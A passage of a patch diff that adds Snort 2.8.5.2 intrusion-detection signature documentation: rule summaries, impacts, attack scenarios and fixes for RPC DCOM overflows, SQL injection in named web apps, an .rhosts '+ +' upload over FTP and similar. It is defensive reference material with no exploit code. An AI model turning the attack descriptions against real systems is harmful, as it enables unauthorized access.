+Bugtraq
+http://www.securityfocus.com/bid/122
+
+Arachnids:
+http://www.whitehats.com/info/IDS241
+
+--
--- snort-2.8.5.2.orig/doc/signatures/335.txt
+++ snort-2.8.5.2/doc/signatures/335.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 335
+
+-- 
+Summary: 
+This event is generated when an attempt to copy a specific file to an FTP server is made.
+
+-- 
+
+Impact: 
+Serious. An attacker might gain the ability to remotely connect to a server via r-commands without using a password.
+
+--
+Detailed Information:
+This event is generated when an attempt to copy an ".rhosts" file to a server. An ".rhosts" file is used to configure remote access via r-commands (rlogin, rsh, rcp, rexec). 
+
+Specifically, the file might contain IP addresses (hostnames) or usernames that are allowed to connect to a server in the following format: "hostname [username]", where either can be a "+" character, indicating all hostnames or usernames. 
+
+The file might also contain a string "+ +" that indicates that everybody from any IP address is allowed to connect to server without using a password. The file is located in user's home directory.
+
+--
+
+Attack Scenarios: 
+An attacker uploads a ".hosts" file with "+ +" in it in the user's directory on the machine. He is then able to connect to a host via an "rlogin" command without entering a password, resulting in a shell session. If this is done in roots home driectory the attacker will have control of the victim host.
+
+-- 
+
+Ease of Attack: 
+The attack requires an access to any user's home directory via FTP. This means that anonymous FTP access cannot be used for such an attack and a valid username and password is required. Additionally, the ability to upload files via FTP is required for a successful attack.
+
+-- 
+
+False Positives: 
+If the string ".rhosts" is contained within the filename that is being uploaded to a server or within other FTP client responses, the rule will generate an event.
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Locate the uploaded ".rhosts" file and check it for signs of suspicious entries. 
+
+Check the server logs for other suspicious events that might have occurred within the same FTP session
+
+Disallow uploading of files via FTP and use Secure Shell (SSH) for transferring files by users.
+
+Disallow the use of r-commands for file transfer and login procedures.
+
+--
+Contributors: 
+Original rule writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS328
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3340.txt
+++ snort-2.8.5.2/doc/signatures/3340.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3340
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/555.txt
+++ snort-2.8.5.2/doc/signatures/555.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+555
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1212.txt
+++ snort-2.8.5.2/doc/signatures/1212.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1212
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running on a web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Attrition:
+http://www.attrition.org/security/advisory/misc/ecom-990420
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2618.txt
+++ snort-2.8.5.2/doc/signatures/2618.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2618
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "alter_mview_propagation" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3253.txt
+++ snort-2.8.5.2/doc/signatures/3253.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3253
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1730.txt
+++ snort-2.8.5.2/doc/signatures/1730.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1730
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/986.txt
+++ snort-2.8.5.2/doc/signatures/986.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 986
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000777.txt
+++ snort-2.8.5.2/doc/signatures/100000777.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000777
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "action.php" with SQL commands being passed as the "action" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "action" parameter in the "action.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1313.txt
+++ snort-2.8.5.2/doc/signatures/1313.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1313
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "up skirt".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "up skirt".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000710.txt
+++ snort-2.8.5.2/doc/signatures/100000710.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000710
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Xoops MyAds Module" application running on a webserver. Access to the file "annonces-p-f.php" with SQL commands being passed as the "lid" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "lid" parameter in the "annonces-p-f.php" script used by the "Xoops MyAds Module" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Xoops MyAds Module
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2350.txt
+++ snort-2.8.5.2/doc/signatures/2350.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2192
+
+--
+Summary:
+This rule no longer generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+This rule now uses flowbits and can be set to generate an event by
+modifying the rule slightly to remove the "flowbits:no_alert;" option.
+When traffic is detected that attempts to bind to the ISystemActivator
+object in MS RPC DCOM communications this rule now activates sids 2351
+and 2352 to detect exploits against this service. Cool huh?
+
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000521.txt
+++ snort-2.8.5.2/doc/signatures/100000521.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+100000521
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "TPL Design TplShop" application running on a webserver. 
+Access to the file "category.php" with SQL commands being passed as the 
+"first_row" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "first_row" parameter in the "category.php" script used 
+by the "TPL Design TplShop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using TPL Design TplShop
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1669.txt
+++ snort-2.8.5.2/doc/signatures/1669.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1669
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1530.txt
+++ snort-2.8.5.2/doc/signatures/1530.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1530
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1430.txt
+++ snort-2.8.5.2/doc/signatures/1430.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1430
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerabilty on a Sun Solaris system.
+
+--
+Impact:
+Remote root access.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in /bin/login when used by telnetd on Sun Solaris sytems.
+A buffer overflow condition is present in /bin/login used by telnetd
+that may present an attacker with the opportunity to execute code of
+their choosing after a sucessful exploit.
+
+--
+Affected Systems:
+	Sun Solaris 8.x and earlier
+
+--
+Attack Scenarios:
+An attacker may utilize one of the available exploit scripts.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3363.txt
+++ snort-2.8.5.2/doc/signatures/3363.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3363
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3150.txt
+++ snort-2.8.5.2/doc/signatures/3150.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+3150
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Microsoft Windows SQL Server.
+
+--
+Impact:
+Serious. Code execution is possible leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft Windows SQL Server 2000 uses the SQLXML component to process
+database queries via XML.
+
+Due to a programming error a buffer overrun condition is present in the
+SQLXML ISAPI component that processes the XML queries via HTTP. The
+overrun condition can be exploited by manipulating the contenttype
+variable used to control the Content-Type header. The ISAPI extension
+does not correctly check the length of the contenttype parameter. It may
+be possible for an attacker with user privileges on the target host to
+exploit the condition by supplying extra data in the affected parameter.
+
+--
+Affected Systems:
+	Microsoft SQL Server 2000
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer by inserting extra data into the
+contenttype parameter of a malicious XML query. The attacker may then
+insert code of their choosing to either run commands on the system or
+execute the code with the privileges of the administrative account.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2163.txt
+++ snort-2.8.5.2/doc/signatures/2163.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2163
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3346.txt
+++ snort-2.8.5.2/doc/signatures/3346.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3346
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
